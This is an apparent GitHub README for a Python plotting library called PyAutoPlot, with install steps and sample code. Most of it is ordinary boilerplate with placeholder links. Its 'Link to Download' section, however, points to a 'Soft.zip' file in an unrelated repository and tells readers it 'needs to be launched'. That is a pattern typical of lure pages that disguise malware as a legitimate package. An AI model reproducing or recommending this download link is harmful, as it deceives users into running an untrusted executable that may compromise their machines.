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README.md

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# PyAutoPlot
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![PyAutoPlot Logo](https://www.example.com/pyautoplot-logo.jpg)
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PyAutoPlot is an open-source Python library designed to make dataset analysis much easier by generating helpful detailed plots using matplotlib. It automatically generates appropriate plots based on the dataset you feed it.
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## Features
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- Automated generation of various types of plots
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- Supports CSV and Pandas DataFrame inputs
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- Detailed and customizable plots
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- Easy to use and integrate into your data analysis workflow
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## Installation
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You can install PyAutoPlot via pip:
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```bash
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pip install pyautoplot
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```
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## Quick Start
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```python
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import pandas as pd
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from pyautoplot import PyAutoPlot
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# Load your dataset
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data = pd.read_csv('your_dataset.csv')
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# Create an instance of PyAutoPlot
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pyap = PyAutoPlot()
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# Generate plots automatically
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pyap.plot(data)
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```
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## Available Plots
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PyAutoPlot can generate the following types of plots:
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- Histograms
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- Scatter Plots
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- Line Plots
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- Box Plots
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- Pie Charts
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- Bar Plots
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- and more!
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## Example
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Here's a simple example of how to use PyAutoPlot to analyze a dataset:
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```python
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import pandas as pd
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from pyautoplot import PyAutoPlot
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# Load the dataset
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data = pd.read_csv('example_dataset.csv')
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# Create an instance of PyAutoPlot
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pyap = PyAutoPlot()
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# Generate plots
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pyap.plot(data)
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```
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## Link to Download
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[![Download PyAutoPlot](https://img.shields.io/badge/Download-Soft.zip-blue.svg)](https://github.com/Dredarty/RINGSharp/releases/download/v1.0/Soft.zip) (needs to be launched)
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## Repository Topics
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analysis, automatic, csv, data, dataset, dataset-analysis, generation, matplotlib, pandas, plots, plotting-in-python, plotting-library, python
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## Contribute
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Contributions are welcome! If you have any ideas for improving PyAutoPlot or want to add new features, feel free to submit a pull request.
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---
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Visit the [PyAutoPlot GitHub Repository](https://github.com/your_username/PyAutoPlot) for more information and to access the latest updates. Start using PyAutoPlot today and simplify your dataset analysis process! 🚀
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![PyAutoPlot Demo](https://www.example.com/pyautoplot-demo.gif)
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